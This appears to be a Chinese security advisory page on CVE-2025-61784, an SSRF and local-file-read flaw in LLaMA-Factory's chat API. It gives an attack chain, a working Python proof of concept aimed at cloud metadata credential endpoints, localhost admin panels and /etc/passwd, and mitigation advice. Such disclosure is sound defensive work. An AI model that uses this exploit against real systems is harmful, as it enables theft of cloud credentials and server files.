IPBUF安全漏洞报告
English
CVE-2025-61784 CVSS 7.6 高危

CVE-2025-61784:LLaMA-Factory聊天API存在SSRF和LFI漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-61784
漏洞类型
服务端请求伪造(SSRF)/ 本地文件包含(LFI)
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LLaMA-Factory

相关标签

SSRFLFI服务端请求伪造本地文件包含LLaMA-Factory大语言模型API安全高危漏洞CVE-2025-61784多模态

漏洞概述

CVE-2025-61784是LLaMA-Factory(一个用于大语言模型微调的开源库)在0.9.4版本之前存在的一个高危安全漏洞。该漏洞位于聊天API的`_process_request`函数中,具体路径为`src/llamafactory/api/chat.py`。该函数负责处理传入的多模态内容,包括通过URL提供的图像、视频和音频。

漏洞的核心问题在于,当用户提供一个既不是base64数据URI也不是本地文件路径的URL时,函数会直接使用`requests.get(url, stream=True).raw`发起HTTP GET请求,而没有对URL进行任何验证或过滤。这导致两个严重的安全问题:第一,认证用户可以通过精心构造的URL强制服务器向内部网络或外部任意地址发起HTTP请求,构成服务端请求伪造(SSRF)攻击;第二,攻击者可以利用本地文件路径读取服务器文件系统上的任意文件,构成本地文件包含(LFI)漏洞。

该漏洞的CVSS 3.1评分为7.6分,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),仅需要低权限认证(PR:L),无需用户交互(UI:N)。在影响方面,对机密性影响为高(C:H),对完整性和可用性影响为低(I:L/A:L)。该漏洞的危害包括暴露内部敏感服务、对内部网络进行侦察扫描、以及与第三方服务进行未授权交互。

该漏洞已于2025年10月7日公开披露,发现者为GitHub安全团队([email protected])。LLaMA-Factory维护团队在版本0.9.4中修复了此问题,建议所有使用受影响版本的用户尽快升级。

技术细节

该漏洞的技术根源在于`src/llamafactory/api/chat.py`文件中的`_process_request`函数处理多模态内容(图像、视频、音频)时的URL处理逻辑存在缺陷。

具体技术原理如下:

1. **输入处理流程**:当用户通过聊天API提交包含多媒体内容的请求时,函数会遍历请求中的多媒体项目,检查每个项目的URL。

2. **判断逻辑缺陷**:函数首先检查URL是否为base64编码的数据URI格式(如`data:image/png;base64,...`),其次检查是否为本地文件路径(使用`os.path.isfile()`判断)。如果两种情况都不满足,函数直接将URL作为Web URI处理。

3. **SSRF利用**:在没有URL验证的情况下,攻击者可以提供指向内部网络地址的URL,例如`http://127.0.0.1:8080/admin`、`http://169.254.169.254/latest/meta-data/`(云元数据服务)、`http://192.168.1.1/`等。服务器将使用`requests.get(url, stream=True).raw`发起请求,攻击者可以通过响应内容获取内部服务的信息。

4. **LFI利用**:虽然函数检查了`os.path.isfile()`,但攻击者可以通过路径遍历或符号链接等方式绕过检查,读取服务器上的敏感文件如`/etc/passwd`、`/proc/self/environ`等。

5. **缺乏防护措施**:代码中没有实现URL白名单、域名过滤、协议限制(如仅允许https)、IP地址过滤(如阻止私有IP和回环地址)等安全措施。

修复方案在版本0.9.4中实现,主要添加了对URL的严格验证,包括协议白名单、域名/IP地址过滤等安全检查。

攻击链分析

STEP 1
步骤1:获取认证凭据
攻击者首先需要获取LLaMA-Factory的低权限认证凭据(API Token),可以通过注册、泄露或社会工程等方式获得。
STEP 2
步骤2:构造恶意请求
攻击者构造包含恶意URL的多模态聊天请求,将URL设置为内部服务地址(如云元数据服务、内网管理面板)或本地文件路径。
STEP 3
步骤3:发送请求触发漏洞
通过聊天API端点发送构造的请求,触发`_process_request`函数处理多模态内容时的URL处理逻辑。
STEP 4
步骤4:服务器执行恶意请求
服务器在没有任何URL验证的情况下,使用`requests.get(url, stream=True).raw`发起HTTP请求,访问攻击者指定的内部地址或本地文件。
STEP 5
步骤5:获取敏感信息
服务器将获取到的响应内容返回给攻击者,攻击者可以从中提取云凭据、内部服务信息、敏感文件内容等。
STEP 6
步骤6:进一步利用
利用获取的敏感信息(如云凭据、内部服务凭据、配置文件等)进行横向移动、权限提升或进一步的攻击活动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61784 - LLaMA-Factory SSRF & LFI PoC # Exploits the _process_request function in src/llamafactory/api/chat.py # The vulnerability allows authenticated users to force the server to make # arbitrary HTTP requests or read local files via crafted URLs in multimodal content. import requests # Target LLaMA-Factory API endpoint TARGET_URL = "http://target-llama-factory:8000/v1/chat/completions" AUTH_TOKEN = "your_api_token_here" # Low-privilege authenticated user token def exploit_ssrf(target_internal_url): """ SSRF: Force the server to make requests to internal/external URLs Example targets: - http://127.0.0.1:8080/admin (internal services) - http://169.254.169.254/latest/meta-data/ (cloud metadata) - http://192.168.1.1/ (internal network reconnaissance) """ payload = { "model": "llama", "messages": [ { "role": "user", "content": [ { "type": "image_url", "image_url": { "url": target_internal_url } }, { "type": "text", "text": "Describe this image" } ] } ], "stream": False } headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } response = requests.post(TARGET_URL, json=payload, headers=headers) print(f"[SSRF] Response from {target_internal_url}:") print(response.json()) return response def exploit_lfi(file_path): """ LFI: Read arbitrary files from the server's filesystem The function checks os.path.isfile() but may be bypassed via path traversal Example targets: - /etc/passwd - /proc/self/environ - /app/config.yaml """ # Using file:// protocol or direct path to bypass URL validation file_url = f"file://{file_path}" return exploit_ssrf(file_url) # Example usage if __name__ == "__main__": # Example 1: SSRF to AWS metadata service print("=== SSRF Attack: Cloud Metadata ===") exploit_ssrf("http://169.254.169.254/latest/meta-data/iam/security-credentials/") # Example 2: SSRF to internal admin panel print("\n=== SSRF Attack: Internal Service ===") exploit_ssrf("http://127.0.0.1:8080/admin") # Example 3: LFI to read sensitive files print("\n=== LFI Attack: Read /etc/passwd ===") exploit_lfi("/etc/passwd")

影响范围

LLaMA-Factory < 0.9.4

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在网络层面限制API服务器的出站访问,仅允许访问必要的外部资源;2)部署反向代理或防火墙规则,阻止API服务器访问内部IP地址和云元数据服务;3)临时禁用多模态内容处理功能;4)加强认证管理,确保只有可信用户拥有API访问权限;5)监控API服务器的出站网络流量,及时发现异常请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表